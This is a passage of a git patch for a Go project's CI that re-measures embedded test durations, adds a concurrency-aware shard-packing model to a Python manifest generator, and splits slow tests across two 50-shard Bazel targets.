+ "TestEmbeddedAutoImportJSONLConcurrentWriter": 29.04, + "TestEmbeddedAutoImportJSONLNoExplicitCommit": 33.58, + "TestEmbeddedAutoImportJSONLSkipsNonEmpty": 8.05, + "TestEmbeddedBackup": 37.73, + "TestEmbeddedBackupConcurrent": 11.05, + "TestEmbeddedBlocked": 14.0, + "TestEmbeddedBlockedConcurrent": 28.59, + "TestEmbeddedBlockedLabelFilters": 21.34, + "TestEmbeddedBootstrap": 80.85, + "TestEmbeddedBootstrapConcurrent": 9.56, + "TestEmbeddedBranch": 25.91, + "TestEmbeddedBranchConcurrent": 27.48, + "TestEmbeddedChangeDirOverridesInheritedBeadsDir": 17.26, + "TestEmbeddedChildren": 71.69, + "TestEmbeddedChildrenConcurrent": 37.41, + "TestEmbeddedClaimPools": 19.91, + "TestEmbeddedCloseAlreadyClosed": 84.22, + "TestEmbeddedCloseBasic": 72.03, + "TestEmbeddedCloseConcurrent": 84.28, + "TestEmbeddedCloseGuardsAndEpics": 58.54, + "TestEmbeddedComments": 10.35, + "TestEmbeddedCommentsCLI": 50.71, + "TestEmbeddedCommentsCLIConcurrent": 29.98, + "TestEmbeddedCompact": 41.59, + "TestEmbeddedCompactConcurrent": 23.3, + "TestEmbeddedCompactMisdatedChild": 12.83, + "TestEmbeddedConfig": 44.69, + "TestEmbeddedConfigConcurrent": 82.94, + "TestEmbeddedConfigNoWorkspaceStoreFreeCommands": 0.95, + "TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout": 0.32, + "TestEmbeddedContext": 24.87, + "TestEmbeddedContextConcurrent": 13.71, + "TestEmbeddedContributorCreate": 87.03, + "TestEmbeddedCount": 59.63, + "TestEmbeddedCountConcurrent": 44.3, + "TestEmbeddedCountIncludeEphemeral": 24.09, + "TestEmbeddedCountIncludeInfra": 53.12, + "TestEmbeddedCreateCommitPending": 12.9, + "TestEmbeddedCreateConcurrent": 29.6, + "TestEmbeddedCreateCrossRepo": 43.14, + "TestEmbeddedCreateCrossRepoDryRunWithParent": 46.25, + "TestEmbeddedCreateCrossRepoUninit": 35.37, + "TestEmbeddedCreateCrossRepoWithParent": 41.61, + "TestEmbeddedCreateDryRunCrossRepoDoesNotMigrateTarget": 17.89, + "TestEmbeddedCreateDryRunDoesNotMigrate": 15.28, + "TestEmbeddedCreateDryRunRepoDoesNotInitializeTarget": 3.09, + "TestEmbeddedCreateFormCommitsLabelOnlyCreate": 3.25, + "TestEmbeddedCreateGraphAndBulk": 16.55, + "TestEmbeddedCreateJSONEchoesSubSecondTimestamps": 8.31, + "TestEmbeddedCreateRepoFromNonBeadsCwd": 12.31, + "TestEmbeddedCreateRepoProxiedTargetError": 21.86, + "TestEmbeddedCreateRepoRelativeExistingWorkspaceUnaffected": 56.2, + "TestEmbeddedCreateRepoRelativeUninitRefused": 4.97, + "TestEmbeddedCreateScalarAndRelationships": 57.97, + "TestEmbeddedCreateStorageClassBasic": 11.92, + "TestEmbeddedCreateStorageClassBatchAndMisc": 45.95, + "TestEmbeddedCreateStorageClassConflicts": 41.81, + "TestEmbeddedCreateWithGitRemote": 14.38, + "TestEmbeddedDefer": 38.48, + "TestEmbeddedDeferAutoWake": 48.29, + "TestEmbeddedDeferConcurrent": 63.55, + "TestEmbeddedDelete": 81.25, + "TestEmbeddedDeleteJSONDependencyErrorContract": 42.77, + "TestEmbeddedDepA": 95.56, + "TestEmbeddedDepAddWispSource": 28.54, + "TestEmbeddedDepAndLinkBatchAutoCommitDoesNotAdvanceHead": 50.02, + "TestEmbeddedDepB": 94.49, + "TestEmbeddedDepBulkNoCycleCheckKeepsWholeGraphGate": 30.7, + "TestEmbeddedDepConcurrent": 75.13, + "TestEmbeddedDepListSingleIDWarnsOnDroppedExternalEdge": 66.92, + "TestEmbeddedDepNoCycleCheck": 58.88, + "TestEmbeddedDiff": 41.65, + "TestEmbeddedDiffConcurrent": 49.97, + "TestEmbeddedDirectCommitPathsBatchAutoCommitDoesNotAdvanceHead": 44.86, + "TestEmbeddedDoltBlockedAndCommit": 23.54, + "TestEmbeddedDoltConcurrent": 35.01, + "TestEmbeddedDoltRemoteAndPush": 18.79, + "TestEmbeddedDuplicate": 50.93, + "TestEmbeddedDuplicateConcurrent": 43.52, + "TestEmbeddedDuplicates": 67.03, + "TestEmbeddedDuplicatesConcurrent": 41.37, + "TestEmbeddedEpicCloseEligible": 69.55, + "TestEmbeddedEpicCloseEligibleReasonFlag": 29.56, + "TestEmbeddedEpicCloseEligibleReasonOutput": 41.91, + "TestEmbeddedEpicConcurrent": 71.22, + "TestEmbeddedEpicStatus": 44.06, + "TestEmbeddedExplicitHierarchicalParentEdges": 42.56, + "TestEmbeddedExportConcurrent": 21.66, + "TestEmbeddedExportFlags": 33.17, + "TestEmbeddedExportFormats": 40.58, + "TestEmbeddedExternalCapabilityReadyAfterShip": 37.72, + "TestEmbeddedExternalMutationPolicy": 64.3, + "TestEmbeddedFederationConcurrent": 25.94, + "TestEmbeddedFederationPeers": 38.08, + "TestEmbeddedFederationStatus": 27.84, + "TestEmbeddedFindDuplicates": 46.3, + "TestEmbeddedFindDuplicatesConcurrent": 14.36, + "TestEmbeddedFlatten": 31.29, + "TestEmbeddedFlattenConcurrent": 23.66, + "TestEmbeddedGC": 73.04, + "TestEmbeddedGCConcurrent": 21.52, + "TestEmbeddedGCConditionalMatcherDecode": 47.53, + "TestEmbeddedGate": 82.88, + "TestEmbeddedGateConcurrent": 49.5, + "TestEmbeddedGateCreate": 106.42, + "TestEmbeddedGateInheritsDownParentChain": 16.67, + "TestEmbeddedGateListScoped": 24.41, + "TestEmbeddedGatedRendering": 35.48, + "TestEmbeddedGetDependencies": 32.27, + "TestEmbeddedGraph": 61.4, + "TestEmbeddedGraphConcurrent": 21.38, + "TestEmbeddedHistory": 51.11, + "TestEmbeddedHistoryConcurrent": 77.78, + "TestEmbeddedHooks": 12.87, + "TestEmbeddedHooksConcurrent": 9.27, + "TestEmbeddedHuman": 66.13, + "TestEmbeddedHumanConcurrent": 9.72, + "TestEmbeddedIfRevisionReopenGuardDirect": 25.66, + "TestEmbeddedImportClosedChildWhoseParentWasDeleted": 27.28, + "TestEmbeddedImportConcurrent": 9.73, + "TestEmbeddedImportFromSources": 34.15, + "TestEmbeddedImportPromotedWispRoundtrip": 47.53, + "TestEmbeddedImportUpsertAndPrefixSync": 30.33, + "TestEmbeddedInfo": 17.36, + "TestEmbeddedInfoConcurrent": 33.86, + "TestEmbeddedInfoSuppressGitHooks": 9.64, + "TestEmbeddedInitA": 130.47, + "TestEmbeddedInitArtifactRouting": 20.34, + "TestEmbeddedInitB": 74.62, + "TestEmbeddedInitC": 32.69, + "TestEmbeddedInitConcurrent": 41.45, + "TestEmbeddedInitExplicitBeadsDirIsAuthoritative": 52.89, + "TestEmbeddedInitGitBootstrapRouting": 85.16, + "TestEmbeddedInitHooksRouting": 20.7, + "TestEmbeddedInitRoleRouting": 87.59, + "TestEmbeddedInitSelectedExcludeRoutingFork": 40.08, + "TestEmbeddedInitSelectedExcludeRoutingStealth": 65.73, + "TestEmbeddedKV": 12.62, + "TestEmbeddedKVConcurrent": 89.53, + "TestEmbeddedLabelAddRemove": 75.79, + "TestEmbeddedLabelConcurrent": 73.39, + "TestEmbeddedLabelEditReports": 68.91, + "TestEmbeddedLabelPropagateRename": 62.05, + "TestEmbeddedLint": 48.55, + "TestEmbeddedLintConcurrent": 44.72, + "TestEmbeddedListComments": 33.84, + "TestEmbeddedListConcurrent": 18.84, + "TestEmbeddedListFiltering": 87.75, + "TestEmbeddedListSearchAndOutput": 69.79, + "TestEmbeddedMaxRowsDepTreeAndDuplicates": 61.67, + "TestEmbeddedMaxRowsDoctorAndConfig": 30.57, + "TestEmbeddedMaxRowsGraph": 57.33, + "TestEmbeddedMaxRowsListBasic": 72.66, + "TestEmbeddedMaxRowsListLimitInteraction": 97.48, + "TestEmbeddedMaxRowsReady": 37.02, + "TestEmbeddedMaxRowsReadyMerge": 38.06, + "TestEmbeddedMemory": 57.23, + "TestEmbeddedMemoryConcurrent": 61.83, + "TestEmbeddedMemoryCorpusBudget": 17.38, + "TestEmbeddedMigrate": 34.92, + "TestEmbeddedMigrateConcurrent": 12.19, + "TestEmbeddedOnboard": 10.21, + "TestEmbeddedOnboardConcurrent": 19.27, "TestEmbeddedOpen_EmptyDatabaseRejected": 0.0, - "TestEmbeddedOrphans": 40.45, - "TestEmbeddedOrphansConcurrent": 65.99, - "TestEmbeddedPreviewDoesNotConsumeVersionMarker": 29.99, - "TestEmbeddedPrime": 32.69, - "TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget": 4.13, - "TestEmbeddedPrimeChangeDirPrimesTarget": 6.83, - "TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget": 5.69, - "TestEmbeddedPrimeConcurrent": 55.99, - "TestEmbeddedPromote": 24.64, - "TestEmbeddedPromoteCLI": 64.87, - "TestEmbeddedPromoteCLIConcurrent": 67.99, - "TestEmbeddedPruneDryRunAndFilters": 155.68, - "TestEmbeddedPruneSafetyAndScope": 163.85, - "TestEmbeddedPurgeBasics": 89.31, - "TestEmbeddedPurgeConcurrent": 38.42, - "TestEmbeddedPurgeFiltered": 131.05, - "TestEmbeddedPurgeWispsPlaneRetention": 119.54, - "TestEmbeddedQuery": 69.55, - "TestEmbeddedQueryConcurrent": 79.23, - "TestEmbeddedQuick": 108.95, - "TestEmbeddedQuickConcurrent": 52.9, - "TestEmbeddedQuickstart": 21.7, - "TestEmbeddedQuickstartConcurrent": 24.95, - "TestEmbeddedQuietFlagSuppressesSuccessOutput": 37.91, - "TestEmbeddedReady": 148.56, - "TestEmbeddedReadyClaimConcurrent": 37.22, - "TestEmbeddedReadyConcurrent": 39.82, - "TestEmbeddedRenamePrefixBasic": 111.8, - "TestEmbeddedRenamePrefixConcurrent": 30.67, - "TestEmbeddedRenamePrefixEdgeCases": 81.14, - "TestEmbeddedReopen": 105.91, - "TestEmbeddedReopenConcurrent": 112.14, - "TestEmbeddedRestore": 137.93, + "TestEmbeddedOrphans": 25.62, + "TestEmbeddedOrphansConcurrent": 31.05, + "TestEmbeddedPreviewDoesNotConsumeVersionMarker": 13.76, + "TestEmbeddedPrime": 17.08, + "TestEmbeddedPrimeChangeDirDefaultTemplateMatchesTarget": 0.87, + "TestEmbeddedPrimeChangeDirPrimesTarget": 0.95, + "TestEmbeddedPrimeChangeDirRedirectNoticeFollowsTarget": 0.85, + "TestEmbeddedPrimeConcurrent": 22.81, + "TestEmbeddedPromote": 13.89, + "TestEmbeddedPromoteCLI": 48.09, + "TestEmbeddedPromoteCLIConcurrent": 52.29, + "TestEmbeddedPruneDryRunAndFilters": 41.08, + "TestEmbeddedPruneSafetyAndScope": 63.09, + "TestEmbeddedPurgeBasics": 33.45, + "TestEmbeddedPurgeConcurrent": 28.04, + "TestEmbeddedPurgeFiltered": 40.47, + "TestEmbeddedPurgeWispsPlaneRetention": 76.18, + "TestEmbeddedQuery": 40.0, + "TestEmbeddedQueryConcurrent": 45.96, + "TestEmbeddedQuick": 51.42, + "TestEmbeddedQuickConcurrent": 61.4, + "TestEmbeddedQuickstart": 9.7, + "TestEmbeddedQuickstartConcurrent": 15.87, + "TestEmbeddedQuietFlagSuppressesSuccessOutput": 31.54, + "TestEmbeddedReadOnlyCommandsSpawnNoGit": 33.33, + "TestEmbeddedReady": 71.28, + "TestEmbeddedReadyClaimConcurrent": 26.71, + "TestEmbeddedReadyConcurrent": 32.41, + "TestEmbeddedReclaimRunsTheLeaseReclaimerRole": 26.56, + "TestEmbeddedRenamePrefixBasic": 46.34, + "TestEmbeddedRenamePrefixConcurrent": 18.87, + "TestEmbeddedRenamePrefixEdgeCases": 31.27, + "TestEmbeddedReopen": 59.7, + "TestEmbeddedReopenConcurrent": 76.86, + "TestEmbeddedRestore": 35.94, "TestEmbeddedRestoreConcurrent": 0.0, - "TestEmbeddedRoutedMutatingSiblingAssignTagDep": 156.88, - "TestEmbeddedRoutedMutatingSiblingDeleteClose": 101.7, - "TestEmbeddedRoutedSiblingWritesCommitTargetHead": 191.64, - "TestEmbeddedSearch": 118.78, - "TestEmbeddedSearchConcurrent": 98.05, - "TestEmbeddedSetup": 52.64, - "TestEmbeddedSetupConcurrent": 22.64, - "TestEmbeddedShip": 71.62, - "TestEmbeddedShipConcurrent": 101.01, - "TestEmbeddedShowBasicsAndJSON": 118.13, - "TestEmbeddedShowConcurrent": 150.5, - "TestEmbeddedShowDetailAndCurrent": 135.15, - "TestEmbeddedShowUnresolvableDeps": 59.52, - "TestEmbeddedSquashWispMoleculeClearsRootEphemeral": 23.37, - "TestEmbeddedStale": 90.45, - "TestEmbeddedStaleConcurrent": 79.59, - "TestEmbeddedStaleLabelFilters": 84.1, - "TestEmbeddedState": 66.22, - "TestEmbeddedStateConcurrent": 45.78, - "TestEmbeddedStatus": 47.37, - "TestEmbeddedStatusConcurrent": 79.04, - "TestEmbeddedSupersede": 76.14, - "TestEmbeddedSupersedeConcurrent": 72.31, - "TestEmbeddedSwarm": 172.12, - "TestEmbeddedSwarmConcurrent": 71.02, - "TestEmbeddedTodo": 74.74, - "TestEmbeddedTodoConcurrent": 30.6, - "TestEmbeddedTypes": 46.4, - "TestEmbeddedTypesAgreeWithCreate": 109.4, - "TestEmbeddedTypesConcurrent": 29.96, - "TestEmbeddedUnclaim": 130.59, - "TestEmbeddedUndefer": 122.4, - "TestEmbeddedUndeferConcurrent": 121.9, - "TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead": 28.26, - "TestEmbeddedUpdateConcurrent": 180.79, - "TestEmbeddedUpdateFields": 142.3, - "TestEmbeddedUpdateLifecycle": 150.21, - "TestEmbeddedUpdateRoutedStoreCommitsTargetHead": 51.5, - "TestEmbeddedVCCommitVariantsAndMerge": 105.56, - "TestEmbeddedVCConcurrent": 56.84, - "TestEmbeddedVCStatusAndCommit": 126.19, - "TestEmbeddedVersion": 1.4, - "TestEmbeddedVersionConcurrent": 1.48, - "TestEmbeddedWhere": 55.16, - "TestEmbeddedWhereConcurrent": 27.1 + "TestEmbeddedRoutedMutatingSiblingAssignTagDep": 105.3, + "TestEmbeddedRoutedMutatingSiblingDeleteClose": 74.67, + "TestEmbeddedRoutedSiblingWritesCommitTargetHead": 83.5, + "TestEmbeddedSearch": 65.75, + "TestEmbeddedSearchConcurrent": 61.47, + "TestEmbeddedSetup": 19.29, + "TestEmbeddedSetupConcurrent": 16.88, + "TestEmbeddedShip": 47.53, + "TestEmbeddedShipConcurrent": 68.2, + "TestEmbeddedShowBasicsAndJSON": 55.39, + "TestEmbeddedShowConcurrent": 77.92, + "TestEmbeddedShowDetailAndCurrent": 82.5, + "TestEmbeddedShowUnresolvableDeps": 56.8, + "TestEmbeddedSquashWispMoleculeClearsRootEphemeral": 26.27, + "TestEmbeddedStale": 63.39, + "TestEmbeddedStaleConcurrent": 46.3, + "TestEmbeddedStaleLabelFilters": 26.04, + "TestEmbeddedState": 55.29, + "TestEmbeddedStateConcurrent": 42.2, + "TestEmbeddedStatus": 29.52, + "TestEmbeddedStatusConcurrent": 53.34, + "TestEmbeddedSupersede": 46.47, + "TestEmbeddedSupersedeConcurrent": 70.75, + "TestEmbeddedSwarm": 97.32, + "TestEmbeddedSwarmConcurrent": 49.07, + "TestEmbeddedTodo": 49.91, + "TestEmbeddedTodoConcurrent": 19.93, + "TestEmbeddedTypes": 22.43, + "TestEmbeddedTypesAgreeWithCreate": 37.24, + "TestEmbeddedTypesConcurrent": 20.36, + "TestEmbeddedUnclaim": 78.85, + "TestEmbeddedUndefer": 52.25, + "TestEmbeddedUndeferConcurrent": 58.19, + "TestEmbeddedUpdateBatchAutoCommitDoesNotAdvanceHead": 14.69, + "TestEmbeddedUpdateConcurrent": 105.17, + "TestEmbeddedUpdateFields": 77.51, + "TestEmbeddedUpdateLifecycle": 73.02, + "TestEmbeddedUpdateRoutedStoreCommitsTargetHead": 45.79, + "TestEmbeddedVCCommitVariantsAndMerge": 14.78, + "TestEmbeddedVCConcurrent": 41.36, + "TestEmbeddedVCStatusAndCommit": 44.06, + "TestEmbeddedVersion": 0.35, + "TestEmbeddedVersionConcurrent": 0.53, + "TestEmbeddedWhere": 11.55, + "TestEmbeddedWhereConcurrent": 8.26 } } diff --git a/scripts/ci/gen_embedded_cmd_shard_manifest.py b/scripts/ci/gen_embedded_cmd_shard_manifest.py index a93255eff..4087338e6 100755 --- a/scripts/ci/gen_embedded_cmd_shard_manifest.py +++ b/scripts/ci/gen_embedded_cmd_shard_manifest.py @@ -18,7 +18,9 @@ docstring for the full rationale this one shares): scripts/ci/embedded_cmd_test_durations.json (see that file's header for provenance). A function missing from that file — a test added since it was last captured — falls back to its inits cost times the file's - "seconds_per_init_fallback" ratio. + "seconds_per_init_fallback" ratio. A from-scratch pack models the shard + process (pack_concurrent): functions without a top-level t.Parallel() + run one after another, the rest share -test.parallel=4 slots. This file's existing 20-shard block (hand-assigned, round-robin; see its own header) is the FROZEN block PR Risk's and main.yml's legacy fork/push jobs @@ -47,12 +49,15 @@ import sys sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) from _embedded_shard_manifest_lib import ( # noqa: E402 - check_coverage, incremental_pack, pack, read_assignments, write_block, + check_coverage, incremental_pack, pack, pack_concurrent, read_assignments, write_block, ) default_manifest_path = '.github/scripts/embedded-cmd-test-shards.txt' durations_filename = 'embedded_cmd_test_durations.json' default_total_shards = 20 +# .bazelrc's test:embedded --test_arg=-test.parallel=4: how many t.Parallel +# top-level tests one shard's process runs at once (--weights=duration). +test_parallelism = 4 func_re = re.compile(r'^func (TestEmbedded[A-Za-z0-9_]+)\(') @@ -78,6 +83,27 @@ def discover_inits_cost(): return costs +def discover_serial(): + """Return the TestEmbedded* functions whose body does not call + t.Parallel() directly: Go runs them one at a time, before the parallel + ones (a test that reaches t.Parallel only through a helper counts as + serial, which overestimates its shard).""" + serial = set() + for path in glob.glob('cmd/bd/*_embedded_test.go'): + with open(path) as fh: + lines = fh.readlines() + cur, parallel = None, False + for ln in lines + ['func \n']: + if ln.startswith('func '): + if cur and not parallel: + serial.add(cur) + m = func_re.match(ln) + cur, parallel = (m.group(1) if m else None), False + elif cur and ln.rstrip('\n') == '\tt.Parallel()': + parallel = True + return serial + + def duration_cost(inits): """Return {test_name: seconds}, from the committed duration capture, falling back to inits * seconds_per_init_fallback for an undated test.""" @@ -115,9 +141,11 @@ def render(total, shards, weights): else: out.append(f'# {total}-shard split for the Bazel-only embedded-Dolt cmd tier') out.append('# (bazel-embedded in .github/workflows/bazel.yml), bin-packed') - out.append('# longest-processing-time-first by measured wall-time from') + out.append('# longest-first by measured wall-time from') out.append(f'# scripts/ci/{durations_filename} (see that file for provenance') - out.append('# and its "relative weight, not absolute SLA" caveat).') + out.append('# and its "relative weight, not absolute SLA" caveat) onto the shard') + out.append('# whose estimated wall time grows least: serial tests (no top-level') + out.append(f'# t.Parallel) add up, parallel ones share -test.parallel={test_parallelism}.') out.append(f'# Regenerate with scripts/ci/gen_embedded_cmd_shard_manifest.py {total}') out.append('# --weights=duration --write after adding, splitting or removing') out.append('# TestEmbedded* functions in cmd/bd/*_embedded_test.go. --write is') @@ -180,6 +208,8 @@ def main(): existing = None if args.repack else read_assignments(args.manifest, args.total_shards) if existing: shards, loads = incremental_pack(costs, args.total_shards, existing) + elif args.weights == 'duration': + shards, loads = pack_concurrent(costs, args.total_shards, discover_serial(), test_parallelism) else: shards, loads = pack(costs, args.total_shards) out = render(args.total_shards, shards, args.weights) diff --git a/scripts/pr_risk_bazel_coverage_test.go b/scripts/pr_risk_bazel_coverage_test.go index a5853126f..52ff1b463 100644 --- a/scripts/pr_risk_bazel_coverage_test.go +++ b/scripts/pr_risk_bazel_coverage_test.go @@ -806,7 +806,12 @@ func TestBazelRetiredLanesCannotBeNarrowed(t *testing.T) { want := map[string]target{ "//cmd/bd:bd_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-test-shard.sh)", "BEADS_TEST_CMD_BINARY", "$(rootpath :bd_test)", "-test.timeout=19m"}, - map[string]string{"BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)"}, + map[string]string{ + "BEADS_TEST_BD_BINARY": "$(rlocationpath :bd)", "BEADS_TEST_EMBEDDED_DOLT": "1", "BEADS_TEST_GOFMT": "$(rlocationpath @go_sdk//:bin/gofmt)", + // bdInit's schema template and the race runtime's exit sleep: + // neither selects or skips a test. + "BEADS_TEST_EMBEDDED_SCHEMA_TOOL": "$(rlocationpath //internal/storage/embeddeddolt/cmd:cmd_norace)", "GORACE": "atexit_sleep_ms=0", + }, }, "//internal/storage/embeddeddolt:embeddeddolt_embedded_test": { []string{"$(rootpath //:.github/scripts/embedded-storage-test-shard.sh)", "BEADS_TEST_EMBEDDED_TEST_BINARY", "$(rootpath :embeddeddolt_test)", "-test.timeout=19m"}, diff --git a/scripts/shard_manifest_test.go b/scripts/shard_manifest_test.go index c0c61c9aa..134fbf905 100644 --- a/scripts/shard_manifest_test.go +++ b/scripts/shard_manifest_test.go @@ -43,6 +43,35 @@ func TestCmdEmbeddedShardManifestGeneratorNotStale(t *testing.T) { } } +// TestPackConcurrentModelsSerialAndParallelTests pins +// _embedded_shard_manifest_lib.py's pack_concurrent: a serial test (no +// top-level t.Parallel) holds its shard alone for its whole duration, while +// parallel tests share -test.parallel slots, so four 30s parallel tests fit +// beside a 90s one in the same wall time. Plain LPT would put the serial +// test with a parallel one and split the rest evenly by summed duration. +func TestPackConcurrentModelsSerialAndParallelTests(t *testing.T) { + python := requireHostTool(t, "python3") + root := sourceRepoRoot(t) + const script = ` +import sys +sys.path.insert(0, 'scripts/ci') +from _embedded_shard_manifest_lib import pack_concurrent +costs = {'serial': 100, 'a': 90, 'b': 80, 'c': 30, 'd': 30, 'e': 30, 'f': 30} +shards, walls = pack_concurrent(costs, 2, {'serial'}, 4) +print(sorted(map(sorted, shards)), walls) +` + cmd := exec.Command(python, "-c", script) + cmd.Dir = root + out, err := cmd.CombinedOutput() + if err != nil { + t.Fatalf("pack_concurrent: %v\n%s", err, out) + } + const want = "[['a', 'b', 'c', 'd', 'e', 'f'], ['serial']] [100.0, 90]\n" + if string(out) != want { + t.Errorf("pack_concurrent = %q, want %q", out, want) + } +} + // TestStorageEmbeddedShardManifestGeneratorNotStale mirrors // TestCmdEmbeddedShardManifestGeneratorNotStale above for the storage tier's // Bazel-only 20-shard block; see that test's doc comment. From 0d865460b19acd21e3a0924f237fd81079dd0256 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 20:30:52 +0000 Subject: [PATCH 195/325] ci(bazel): split the slow embedded cmd tests and run the cmd block as 2x50 shards (#7438) //cmd/bd:bd_embedded_test was the embedded lane's floor: at Bazel's 50-shard cap per rule, each shard's wall time was its slowest top-level test, and ~40 tests ran 65-130s on rbe-west. - 34 slow TestEmbedded* functions are split into 89 smaller top-level functions. Subtests and table cases are moved verbatim: no assertion, flag or data changes, the same t.Run set per file, the same skip guard and t.Parallel. Subtests that read state earlier ones left stay together, in order; each new function repeats the shared setup it needs. - The manifest's cmd/bd block is now 100 shards, run by two targets: bd_embedded_test (shards 1-50) and the new bd_embedded_part2_test (51-100), through go_test_manifest_shard.sh --shard-offset/--shard-total. check_shard_coverage.py takes SHARDS@OFFSET/TOTAL and fails unless the targets' ranges tile the block exactly once, so every test runs in exactly one shard of one target; the policy tests read both rules' ranges from cmd/bd/BUILD.bazel. - Durations re-measured on rbe-west with the split tests and repacked. The frozen legacy 20-shard block drops the renamed names (no workflow reads it; new names hash-distribute as before). Not split: the *Concurrent stress tests (their bd subprocesses queue on the workspace's single writer lock: TestEmbeddedUpdateConcurrent is ~100 serialized bd commands), TestEmbeddedPurgeWispsPlaneRetention (one stateful sequence), and the MaxRowsList* tests (setup is 21 sequential creates every subtest reads). rbe-west, both targets, --nocache_test_results: slowest shard 138-163s -> 109s (TestEmbeddedUpdateConcurrent alone; every other shard <=86s), median 80-84s -> 40s, shard-seconds 4.1-4.4k -> 4.2k, critical path 213-306s -> 113s. Bead: ga-vnycm2.17 Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/embedded-cmd-test-shards.txt | 635 ++++++++++-------- .github/workflows/bazel.yml | 28 +- BUILD.bazel | 3 +- cmd/bd/BUILD.bazel | 67 +- cmd/bd/autocommit_embedded_test.go | 75 ++- cmd/bd/bootstrap_embedded_test.go | 11 +- cmd/bd/children_embedded_test.go | 46 +- cmd/bd/close_embedded_test.go | 49 +- cmd/bd/contributor_embedded_test.go | 22 +- cmd/bd/delete_embedded_test.go | 40 +- cmd/bd/dep_embedded_test.go | 259 ++++--- cmd/bd/duplicates_embedded_test.go | 79 ++- cmd/bd/epic_embedded_test.go | 34 +- cmd/bd/gate_embedded_test.go | 156 +++-- cmd/bd/gc_embedded_test.go | 34 +- cmd/bd/human_embedded_test.go | 12 +- cmd/bd/init_embedded_test.go | 112 ++- cmd/bd/label_embedded_test.go | 65 +- cmd/bd/list_embedded_test.go | 59 +- cmd/bd/ready_embedded_test.go | 249 +++---- cmd/bd/search_embedded_test.go | 162 +++-- cmd/bd/show_embedded_test.go | 21 +- cmd/bd/swarm_embedded_test.go | 41 +- cmd/bd/unclaim_embedded_test.go | 12 +- cmd/bd/update_embedded_test.go | 46 +- engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 8 +- scripts/ci/embedded_cmd_test_durations.json | 576 ++++++++-------- scripts/ci/gen_embedded_cmd_shard_manifest.py | 4 +- scripts/ci_workflow_test.go | 9 +- scripts/embedded_shard_count_test.go | 88 ++- scripts/pr_risk_bazel_coverage_test.go | 73 +- tools/bazel/check_shard_coverage.py | 64 +- tools/bazel/go_test_manifest_shard.sh | 35 +- 33 files changed, 2047 insertions(+), 1127 deletions(-) diff --git a/.github/scripts/embedded-cmd-test-shards.txt b/.github/scripts/embedded-cmd-test-shards.txt index 486e904fe..e6987e1f4 100644 --- a/.github/scripts/embedded-cmd-test-shards.txt +++ b/.github/scripts/embedded-cmd-test-shards.txt @@ -10,15 +10,11 @@ 20 2 TestEmbeddedBackupConcurrent 20 3 TestEmbeddedBlocked 20 4 TestEmbeddedBlockedConcurrent -20 5 TestEmbeddedBootstrap 20 6 TestEmbeddedBootstrapConcurrent 20 7 TestEmbeddedBranch 20 8 TestEmbeddedBranchConcurrent -20 9 TestEmbeddedChildren 20 10 TestEmbeddedChildrenConcurrent -20 11 TestEmbeddedCloseBasic 20 11 TestEmbeddedCloseGuardsAndEpics -20 11 TestEmbeddedCloseAlreadyClosed 20 12 TestEmbeddedCloseConcurrent 20 13 TestEmbeddedComments 20 14 TestEmbeddedCommentsCLI @@ -31,7 +27,6 @@ 20 1 TestEmbeddedConfigValidateJSONNoWorkspaceWritesStdout 20 2 TestEmbeddedContext 20 3 TestEmbeddedContextConcurrent -20 4 TestEmbeddedContributorCreate 20 5 TestEmbeddedCount 20 6 TestEmbeddedCountConcurrent 20 7 TestEmbeddedCreateScalarAndRelationships @@ -44,9 +39,6 @@ 20 13 TestEmbeddedCreateWithGitRemote 20 14 TestEmbeddedDefer 20 15 TestEmbeddedDeferConcurrent -20 16 TestEmbeddedDelete -20 17 TestEmbeddedDepA -20 17 TestEmbeddedDepB 20 18 TestEmbeddedDepConcurrent 20 19 TestEmbeddedDiff 20 20 TestEmbeddedDiffConcurrent @@ -55,10 +47,8 @@ 20 2 TestEmbeddedDoltConcurrent 20 3 TestEmbeddedDuplicate 20 4 TestEmbeddedDuplicateConcurrent -20 5 TestEmbeddedDuplicates 20 6 TestEmbeddedDuplicatesConcurrent 20 7 TestEmbeddedEpicStatus -20 7 TestEmbeddedEpicCloseEligible 20 7 TestEmbeddedEpicCloseEligibleReasonFlag 20 7 TestEmbeddedEpicCloseEligibleReasonOutput 20 8 TestEmbeddedEpicConcurrent @@ -72,11 +62,8 @@ 20 14 TestEmbeddedFindDuplicatesConcurrent 20 15 TestEmbeddedFlatten 20 16 TestEmbeddedFlattenConcurrent -20 17 TestEmbeddedGC 20 18 TestEmbeddedGCConcurrent -20 19 TestEmbeddedGate 20 20 TestEmbeddedGateConcurrent -20 1 TestEmbeddedGateCreate 20 2 TestEmbeddedGetDependencies 20 3 TestEmbeddedGraph 20 4 TestEmbeddedGraphConcurrent @@ -84,27 +71,20 @@ 20 6 TestEmbeddedHistoryConcurrent 20 7 TestEmbeddedHooks 20 8 TestEmbeddedHooksConcurrent -20 9 TestEmbeddedHuman 20 10 TestEmbeddedHumanConcurrent 20 11 TestEmbeddedImportFromSources 20 11 TestEmbeddedImportUpsertAndPrefixSync 20 12 TestEmbeddedImportConcurrent 20 13 TestEmbeddedInfo 20 14 TestEmbeddedInfoConcurrent -20 15 TestEmbeddedInitA -20 15 TestEmbeddedInitB 20 15 TestEmbeddedInitC 20 16 TestEmbeddedInitConcurrent 20 17 TestEmbeddedKV 20 18 TestEmbeddedKVConcurrent -20 19 TestEmbeddedLabelAddRemove -20 19 TestEmbeddedLabelEditReports 20 19 TestEmbeddedLabelPropagateRename 20 20 TestEmbeddedLabelConcurrent 20 1 TestEmbeddedLint 20 2 TestEmbeddedLintConcurrent -20 3 TestEmbeddedListFiltering -20 3 TestEmbeddedListSearchAndOutput 20 4 TestEmbeddedListConcurrent 20 13 TestEmbeddedMaxRowsListBasic 20 13 TestEmbeddedMaxRowsListLimitInteraction @@ -137,7 +117,6 @@ 20 4 TestEmbeddedQuickConcurrent 20 5 TestEmbeddedQuickstart 20 6 TestEmbeddedQuickstartConcurrent -20 7 TestEmbeddedReady 20 8 